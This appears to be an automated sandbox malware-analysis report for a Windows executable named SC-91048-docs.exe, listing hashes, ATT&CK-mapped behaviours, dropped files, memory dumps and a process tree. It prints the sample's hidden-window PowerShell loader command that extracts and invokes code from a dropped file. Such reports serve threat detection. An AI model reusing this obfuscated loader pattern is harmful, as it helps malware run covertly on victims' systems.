94d77da6e9ba6786e66b3864a9092a028d4e076774a5003b50eea0b5b04be074

General

Target

SC-91048-docs.exe
Size

593KB
MD5

6b67c037861d71932f9971faade3c695
SHA1

03313a12f94a0923bd456a058bb974e43f3c8562
SHA256

94d77da6e9ba6786e66b3864a9092a028d4e076774a5003b50eea0b5b04be074
SHA512

d59c9fe2cb5664394c670ca85964c85fbc4f00129c786ea79470b6c47d9768a5481496a6b9ac38f15c4cc66aad83e372a162a9890359648b19c4c08b9c53728f
SSDEEP

12288:sCn4AyHnr1nomoZlKOKIQxRGul47sbYY6UsGVPCHNwEX:/nEnrVvfOdQxJ47skYxsGVcNb

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4528	powershell.exe

Loads dropped DLL 4 IoCs

pid	Process
840	SC-91048-docs.exe
840	SC-91048-docs.exe
840	SC-91048-docs.exe
840	SC-91048-docs.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\astonied.ini	SC-91048-docs.exe
File opened for modification	C:\Program Files (x86)\indflyvnings\Sparhawk128.Mod	SC-91048-docs.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Fonts\frasiger.ini	SC-91048-docs.exe
File created	C:\Windows\resources\sammentrkket\fatherlike.lnk	SC-91048-docs.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4244	4528	WerFault.exe	84

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4528	powershell.exe
4528	powershell.exe
4528	powershell.exe
4528	powershell.exe
4528	powershell.exe
4528	powershell.exe
4528	powershell.exe
4528	powershell.exe
4528	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4528	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 840 wrote to memory of 4528	840	SC-91048-docs.exe	84
PID 840 wrote to memory of 4528	840	SC-91048-docs.exe	84
PID 840 wrote to memory of 4528	840	SC-91048-docs.exe	84

C:\Users\Admin\AppData\Local\Temp\SC-91048-docs.exe
"C:\Users\Admin\AppData\Local\Temp\SC-91048-docs.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:840
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$thingumajig=Get-Content 'C:\Users\Admin\AppData\Roaming\Watertown136\Brevskolen141\Receptiv147\Cytoplasmiske.Inl';$barbs=$thingumajig.SubString(70747,3);.$barbs($thingumajig)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4528
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4528 -s 2536
    3⤵
    - Program crash
    PID:4244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4528 -ip 4528
1⤵
PID:4944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2nfsng2j.uf0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsu8657.tmp\BgImage.dll

Filesize
7KB

MD5
49998d066af103d06b56f5b4c76b1497

SHA1
b7dce166147f40dfa17f5ca950c4e324a10d04be

SHA256
95042dbe7428461ee7fd210acf37040eb921012c7b32f66cb54766f0a16bb5b6

SHA512
61b0d75ef3a18c8c13ad8c614a012a71cbc4f6fd4bba0aa0c7b866e1a8fbf5f9fdb3e012a3566586d47fc8b456a7de36a06a0d70cdf27e504aac64eab37555d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsu8657.tmp\nsDialogs.dll

Filesize
9KB

MD5
19d3373e403a6e724cfa1563dfd1f463

SHA1
4917547b355a91e9431879209f56925097bf4fb3

SHA256
873fa0c52eae7cfbed56ea18b21fad0ca8f018ab7f305bd1db1a3ec454e353d1

SHA512
b6f6db23376ade4bb864ea14244980612f42f322d3915540090bfe8edc80e9577b7aec3589bd587ca47a729371ed8ab8e6e23031bb3e3f524d48783637646193

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsu8657.tmp\nsExec.dll

Filesize
6KB

MD5
6c881f00ba860b17821d8813aa34dbc6

SHA1
0e5a1e09b1ce1bc758d6977b913a8d9ccbe52a13

SHA256
bcb93204bd1854d0c34fa30883bab51f6813ab32abf7fb7d4aeed21d71f6af87

SHA512
c78d6f43aa9bb35260a7bd300392ce809282660283fa6cb3059bae50d6db229b0b853cab7c949d4bdf19309fb183257b1c9feb01a66347e1c0adeb21543315b6

Download Submit
C:\Users\Admin\AppData\Roaming\Watertown136\Brevskolen141\Receptiv147\Cytoplasmiske.Inl

Filesize
69KB

MD5
400299b1901cee5565c7f095ae1da7a0

SHA1
6f5ef95f16c7657a1147c13f483738efbb97696e

SHA256
0c3763bcba10bdcf914aeb773514df59169770ff0e3f3dfcba1ffb9f699a61e4

SHA512
d09950fd2a75ad6a7b4a5e101cbad8f411110aa787c06e5750ae42465981786ff978d14ffee328fa88ab4b8adf25afc9511f18f34b42bbdbd186b0ab0cde3855

Download Submit
memory/4528-36-0x00000000056F0000-0x0000000005756000-memory.dmp

Filesize
408KB

Download
memory/4528-48-0x0000000005DE0000-0x0000000005E2C000-memory.dmp

Filesize
304KB

Download
memory/4528-33-0x0000000073DC0000-0x0000000074570000-memory.dmp

Filesize
7.7MB

Download
memory/4528-34-0x0000000004DB0000-0x0000000004DD2000-memory.dmp

Filesize
136KB

Download
memory/4528-35-0x0000000004F50000-0x0000000004FB6000-memory.dmp

Filesize
408KB

Download
memory/4528-32-0x0000000073DC0000-0x0000000074570000-memory.dmp

Filesize
7.7MB

Download
memory/4528-30-0x0000000002760000-0x0000000002796000-memory.dmp

Filesize
216KB

Download
memory/4528-46-0x0000000005760000-0x0000000005AB4000-memory.dmp

Filesize
3.3MB

Download
memory/4528-47-0x0000000005D70000-0x0000000005D8E000-memory.dmp

Filesize
120KB

Download
memory/4528-31-0x0000000004FC0000-0x00000000055E8000-memory.dmp

Filesize
6.2MB

Download
memory/4528-49-0x00000000062E0000-0x0000000006376000-memory.dmp

Filesize
600KB

Download
memory/4528-50-0x0000000006290000-0x00000000062AA000-memory.dmp

Filesize
104KB

Download
memory/4528-51-0x0000000006D30000-0x0000000006D52000-memory.dmp

Filesize
136KB

Download
memory/4528-52-0x0000000007310000-0x00000000078B4000-memory.dmp

Filesize
5.6MB

Download
memory/4528-29-0x0000000073DCE000-0x0000000073DCF000-memory.dmp

Filesize
4KB

Download
memory/4528-54-0x0000000007F40000-0x00000000085BA000-memory.dmp

Filesize
6.5MB

Download
memory/4528-56-0x0000000073DC0000-0x0000000074570000-memory.dmp

Filesize
7.7MB

Download

Analysis

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